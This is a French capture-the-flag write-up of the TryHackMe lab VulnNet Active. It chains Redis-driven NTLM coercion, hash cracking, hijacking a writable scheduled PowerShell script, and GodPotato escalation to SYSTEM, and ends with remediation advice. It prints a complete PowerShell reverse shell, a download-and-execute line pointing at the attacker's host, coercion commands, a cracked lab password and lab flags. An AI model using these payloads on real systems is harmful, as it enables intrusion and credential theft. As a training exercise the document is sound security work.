Lab VulnNet Active : Redis NTLM Coercion, Script Hijacking et GodPotato
Pentest d'un environnement Windows Active Directory : Redis non authentifié exploité pour forcer une authentification NTLM vers Responder, hash NetNTLMv2 d'enterprise-security cracké, accès via un script PowerShell périodique modifiable sur un partage SMB, et élévation SYSTEM via GodPotato exploitant SeImpersonatePrivilege.
Contexte et Objectifs
| Champ | Détail |
|---|---|
| Plateforme | TryHackMe |
| Lien | Accéder au lab |
| Cible | VULNNET-BC3TCK1.vulnnet.local, 10.112.131.119 |
| OS | Windows Server 2019 (Build 17763) |
| Domaine | vulnnet.local |
| Type | Black-box pentest, aucun credential fourni |
| Difficulté | Medium |
Scénario : VulnNet Entertainment a subi plusieurs brèches sur son ancien réseau. Après migration de toute l'infrastructure, ils font appel à la même équipe de pentest pour évaluer la nouvelle architecture avant tout incident.
Kill chain :
Redis sans authentification → CONFIG GET → username enterprise-security identifié
│
▼
CONFIG SET dir \\<KALI>\ → coercion NTLM → Responder capture NetNTLMv2
│
▼
Hashcat → enterprise-security:sand_0873959498
│
▼
SMB → Enterprise-Share (READ,WRITE) → PurgeIrrelevantData_1826.ps1
│
▼
Script modifié → download rev.ps1 → exécution périodique
│
▼
Penelope → shell enterprise-security → flag user
│
▼
whoami /all → SeImpersonatePrivilege
│
▼
GodPotato → NT AUTHORITY\SYSTEM → flag root
1. Reconnaissance
rustscan -b 500 -a 10.112.131.119 -- -sC -sV -Pn
Output :
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
6379/tcp open redis Redis key-value store 2.8.2402
9389/tcp open mc-nmf .NET Message Framing
49666-49802/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Analyse :
La présence de DNS (53), kpasswd (464) et .NET Message Framing (9389) pointe vers une machine d'un Domaine Active Directory. SMB (445) est présent mais sans Kerberos (88) visible dans ce scan, probablement filtré.
Le port le plus inhabituel est 6379 : Redis. Un serveur de cache Redis sur un Windows est une configuration inhabituelle. C'est notre premier vecteur à explorer.
On ajoute les entrées dans /etc/hosts :
echo "10.112.131.119 VULNNET-BC3TCK1.vulnnet.local vulnnet.local VULNNET-BC3TCK1" \
| sudo tee -a /etc/hosts
2. Énumération SMB (Première Passe)
# Session anonyme
nxc smb 10.112.131.119 -u '' -p '' --shares --smb-timeout 30
SMB VULNNET-BC3TCK1 [+] vulnnet.local\:
SMB VULNNET-BC3TCK1 [-] Error enumerating shares: STATUS_ACCESS_DENIED
# Compte invité
nxc smb 10.112.131.119 -u 'guest' -p '' --shares --smb-timeout 30
SMB VULNNET-BC3TCK1 [-] vulnnet.local\guest: STATUS_ACCOUNT_DISABLED
# RID brute-force
nxc smb VULNNET-BC3TCK1.vulnnet.local -u '' -p '' --rid-brute --smb-timeout 30
SMB VULNNET-BC3TCK1 [-] Error connecting: LSAD SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED
Les trois approches échouent. La session nulle est acceptée mais sans droits suffisants pour énumérer. Le compte invité est désactivé. Le RID brute-force est refusé. SMB est un cul-de-sac sans credentials.
On se tourne vers Redis.
3. Redis non Authentifié
redis-cli -h VULNNET-BC3TCK1.vulnnet.local -p 6379
VULNNET-BC3TCK1.vulnnet.local:6379>
La connexion s'ouvre sans demande de mot de passe. Redis est accessible sans authentification, ce qui est une mauvaise configuration critique.
Exploration des Clés
VULNNET-BC3TCK1.vulnnet.local:6379> KEYS *
(empty array)
Aucune donnée en cache. Mais les droits d'administration sont peut-être disponibles.
Lecture de la Configuration
VULNNET-BC3TCK1.vulnnet.local:6379> CONFIG GET *

La commande CONFIG GET * retourne l'ensemble de la configuration du serveur Redis. En parcourant la sortie, une information critique apparaît : le service Redis tourne sous le compte Windows enterprise-security.
Cette information ouvre un nouveau vecteur : si on peut forcer Redis à initier une connexion SMB vers notre machine, le serveur Windows va tenter de s'authentifier avec les credentials du compte qui le fait tourner, soit enterprise-security. On capture alors son hash NTLM.
4. Coercion NTLM via Redis
Comprendre le Mécanisme
Quand un processus Windows tente d'accéder à un chemin UNC (\\SERVEUR\partage), le système d'exploitation initie automatiquement une connexion SMB vers ce serveur. Si le serveur distant demande une authentification, Windows envoie les credentials de l'utilisateur courant via le protocole NTLM sans intervention humaine.
Le vecteur ici est la commande CONFIG SET dir de Redis : elle change le répertoire de travail du processus. Si on lui passe un chemin UNC pointant vers notre machine, Redis (qui s'exécute en tant qu'enterprise-security) tente d'ouvrir une session SMB vers nous et envoie automatiquement le hash NTLM du compte.
1. On définit dir = \\<KALI>\share
2. Redis (enterprise-security) tente d'accéder à \\<KALI>\share via SMB
3. Windows envoie le hash NetNTLMv2 d'enterprise-security
4. Responder intercepte et enregistre ce hash
Mise en Place du Listener
On lance Responder sur notre interface VPN :
sudo responder -I tun0 -dwv
[+] Listening for events...
Déclenchement de la Connexion
Depuis la console Redis :
VULNNET-BC3TCK1.vulnnet.local:6379> CONFIG SET dir \\192.168.134.221\share
Capture du Hash
Responder intercepte la connexion entrante :

[SMB] NTLMv2-SSP Client : 10.112.131.119
[SMB] NTLMv2-SSP Username : VULNNET\enterprise-security
[SMB] NTLMv2-SSP Hash : enterprise-security::VULNNET:...:...:...
Craquage du Hash
hashcat -m 5600 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
-m 5600 correspond au mode NetNTLMv2 dans Hashcat.

enterprise-security : sand_0873959498
5. Énumération SMB avec enterprise-security
Partages Disponibles
nxc smb VULNNET-BC3TCK1.vulnnet.local \
-u 'enterprise-security' \
-p 'sand_0873959498' \
--shares --smb-timeout 30
SMB VULNNET-BC3TCK1 [+] vulnnet.local\enterprise-security:sand_0873959498
SMB VULNNET-BC3TCK1 Share Permissions Remark
SMB VULNNET-BC3TCK1 ----- ----------- ------
SMB VULNNET-BC3TCK1 ADMIN$ Remote Admin
SMB VULNNET-BC3TCK1 C$ Default share
SMB VULNNET-BC3TCK1 Enterprise-Share READ,WRITE
SMB VULNNET-BC3TCK1 IPC$ READ Remote IPC
SMB VULNNET-BC3TCK1 NETLOGON READ Logon server share
SMB VULNNET-BC3TCK1 SYSVOL READ Logon server share
Un partage non standard : Enterprise-Share, accessible en lecture et écriture. On s'y connecte.
Exploration du Partage
smbclient //vulnnet.local/Enterprise-Share \
-U enterprise-security%'sand_0873959498'
smb: \> ls
. D 0 Sun Jul 26 20:36:03 2026
.. D 0 Sun Jul 26 20:36:03 2026
PurgeIrrelevantData_1826.ps1 A 69 Wed Feb 24 01:33:18 2021
Un script PowerShell. On le télécharge :
smb: \> get PurgeIrrelevantData_1826.ps1
cat PurgeIrrelevantData_1826.ps1
rm -Force C:\Users\Public\Documents\* -ErrorAction SilentlyContinue
Un script de purge qui supprime les fichiers dans C:\Users\Public\Documents\. Simple en apparence, mais deux informations sont cruciales : on a les droits en écriture sur ce partage, et le nom du script (_1826) suggère un identifiant de tâche planifiée. Ce script est probablement exécuté périodiquement par une tâche planifiée ou un service.
Si on modifie ce script pour y injecter un reverse shell, la prochaine exécution planifiée nous donnera un accès shell sous le compte qui exécute ce script.
6. Script Hijacking -Accès Initial
Préparation du Reverse Shell
On génère un script PowerShell de reverse shell via revshells.com et on le sauvegarde dans rev.ps1 :
$client = New-Object System.Net.Sockets.TCPClient('192.168.134.221',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
Infrastructure d'Écoute et de Distribution
On démarre un serveur web pour servir le fichier et un listener pour recevoir la connexion :
# Terminal 1 : serveur web
python3 -m http.server 8080
# Terminal 2 : listener
penelope
Modification du Script de Purge
On modifie PurgeIrrelevantData_1826.ps1 pour y ajouter le téléchargement et l'exécution du reverse shell :
rm -Force C:\Users\Public\Documents\* -ErrorAction SilentlyContinue
powershell -nop -c "iex (iwr -UseBasicParsing 'http://192.168.134.221:8080/rev.ps1')"
La première ligne est conservée pour ne pas éveiller de soupçons. La seconde télécharge et exécute notre reverse shell en mémoire, sans écriture sur le disque.
Upload du Script Modifié
smbclient //vulnnet.local/Enterprise-Share \
-U enterprise-security%'sand_0873959498'
smb: \> put PurgeIrrelevantData_1826.ps1
putting file PurgeIrrelevantData_1826.ps1 as \PurgeIrrelevantData_1826.ps1 (0.3 kB/s)
Connexion Reçue
Après quelques minutes, Penelope reçoit la connexion :
[+] [New Reverse Shell] => VULNNET-BC3TCK1.vulnnet.local
10.113.177.241 WINDOWS
User: vulnnet\enterprise-security
Session ID <1>
PS C:\Users\enterprise-security\Downloads> whoami
vulnnet\enterprise-security
On observe le répertoire Downloads :
PS C:\Users\enterprise-security\Downloads> ls
Mode LastWriteTime Name
---- ------------- ----
d----- 2/23/2021 2:29 PM nssm-2.24-101-g897c7ad
d----- 2/26/2021 12:14 PM Redis-x64-2.8.2402
-a---- 2/26/2021 10:37 AM startup.bat
On ouvre startup.bat :

Ce fichier confirme comment Redis est lancé au démarrage et comment le script PowerShell est déclenché périodiquement. Notre script a été exécuté exactement dans ce contexte.
7. Flag Utilisateur
PS C:\Users\enterprise-security\Downloads> Get-Content C:\Users\enterprise-security\Desktop\user.txt
THM{3eb176aee96432d5b100bc93580b291e}
8. Élévation de Privilèges
Analyse des Droits avec whoami /all
PS C:\Users\enterprise-security\Downloads> whoami /all
USER INFORMATION
User Name SID
vulnnet\enterprise-security S-1-5-21-1405206085-1650434706-76331420-1103
PRIVILEGES INFORMATION
Privilege Name Description State
============================= ========================================= ========
SeMachineAccountPrivilege Add workstations to domain Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeImpersonatePrivilege est activé. C'est le vecteur d'élévation de privilèges.
Comprendre SeImpersonatePrivilege
SeImpersonatePrivilege est un privilège Windows qui permet à un processus d'emprunter l'identité d'un autre utilisateur après avoir obtenu son token d'accès, sans passer par un vrai processus d'authentification.
En temps normal, ce privilège est réservé aux comptes SYSTEM, NETWORK SERVICE, LOCAL SERVICE et aux administrateurs. Quand un compte de service standard comme enterprise-security le possède (parce qu'il fait tourner un service réseau), c'est un indicateur fort d'élévation de privilèges possible.
Pourquoi ce privilège seul ne suffit pas :
enterprise-security ne peut pas simplement "choisir" de devenir SYSTEM. Il doit d'abord obtenir un token d'accès appartenant à SYSTEM. Pour ça, il faut forcer un service tournant en SYSTEM à s'authentifier auprès du processus de l'attaquant.
La Famille des Potato Attacks
Les Potato attacks exploitent exactement ce mécanisme. En se faisant passer pour un serveur RPC/DCOM local fictif, l'outil force NT AUTHORITY\SYSTEM à tenter une connexion vers ce serveur. Grâce à SeImpersonatePrivilege, l'attaquant intercepte cette connexion, extrait le token SYSTEM et l'applique à son propre processus.
enterprise-security
│
│ 1. Forge un serveur RPC local
▼
NT AUTHORITY\SYSTEM
│
│ 2. Tente de s'authentifier (connexion RPC forcée)
▼
enterprise-security (token SYSTEM reçu)
│
│ 3. SeImpersonatePrivilege → CreateProcessWithTokenW
▼
cmd.exe / NT AUTHORITY\SYSTEM
GodPotato est l'implémentation moderne de cette attaque, compatible Windows 2012 à 2022.
Référence : GodPotato -GitHub
Exploitation avec GodPotato
Téléchargement côté Kali :
wget https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET4.exe \
-O GodPotato.exe
Transfert vers la machine cible :
iwr -Uri http://192.168.134.221:8080/GodPotato.exe -OutFile C:\Users\Public\GodPotato.exe

Test de confirmation :
PS C:\Users\enterprise-security\Downloads> C:\Users\Public\GodPotato.exe -cmd "cmd /c whoami"

[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 3524
NT AUTHORITY\SYSTEM
9. Flag Root
PS C:\Users\enterprise-security\Downloads> C:\Users\Public\GodPotato.exe -cmd "cmd /c type C:\Users\Administrator\Desktop\system.txt"
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 3928
THM{d540c0645975900e5bb9167aa431fc9b}

10. Conclusion et Remédiation
Kill Chain Complète
1. RustScan → Redis 6379 non authentifié identifié
2. redis-cli → CONFIG GET → compte enterprise-security découvert
3. CONFIG SET dir → chemin UNC → coercion NTLM → Responder
4. hashcat -m 5600 → enterprise-security:sand_0873959498
5. SMB enterprise-sec → Enterprise-Share READ,WRITE
6. PurgeIrrelevantData → script périodique modifiable
7. Script hijacking → rev.ps1 exécuté → shell enterprise-security
8. Flag user → THM{3eb176aee96432d5b100bc93580b291e}
9. whoami /all → SeImpersonatePrivilege activé
10. GodPotato → NT AUTHORITY\SYSTEM
11. Flag root → THM{d540c0645975900e5bb9167aa431fc9b}
Remédiation
| Vecteur | Problème | Remédiation |
|---|---|---|
| Redis sans authentification | N'importe qui peut se connecter et administrer Redis | Activer l'authentification Redis (requirepass dans redis.conf) et lier Redis à 127.0.0.1 uniquement si aucun accès externe n'est nécessaire |
| CONFIG GET / CONFIG SET accessibles | Les commandes d'administration Redis sont disponibles sans restriction | Utiliser rename-command CONFIG "" dans redis.conf pour désactiver les commandes dangereuses, ou restreindre l'accès à la liste blanche d'IPs via bind |
| NTLM Coercion via chemin UNC | Le serveur Windows initie automatiquement des connexions SMB vers des chemins UNC arbitraires | Désactiver l'authentification NTLM via GPO : Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers = Deny all. Utiliser Kerberos exclusivement |
| Script périodique sur un partage accessible en écriture | PurgeIrrelevantData_1826.ps1 peut être modifié par enterprise-security | Les scripts exécutés périodiquement ne doivent jamais être stockés sur des partages modifiables. Utiliser des chemins locaux avec des ACL restrictives |
| SeImpersonatePrivilege sur un compte de service | enterprise-security possède un privilège normalement réservé à SYSTEM | Appliquer le principe de moindre privilège : les comptes de service ne doivent pas disposer de SeImpersonatePrivilege. Utiliser des gMSA (Group Managed Service Accounts) |
[!NOTE] Ce lab illustre un enchaînement où chaque vulnérabilité est relativement simple seule, mais leur combinaison mène directement à SYSTEM sans friction. Redis non authentifié est une fuite d'information. La coercion NTLM est une fonctionnalité Windows détournée. Le script hijacking exploite une mauvaise gestion des droits sur un partage. SeImpersonatePrivilege est un privilège mal attribué. Aucune CVE. Que de la configuration.
Writeup rédigé par Zcook
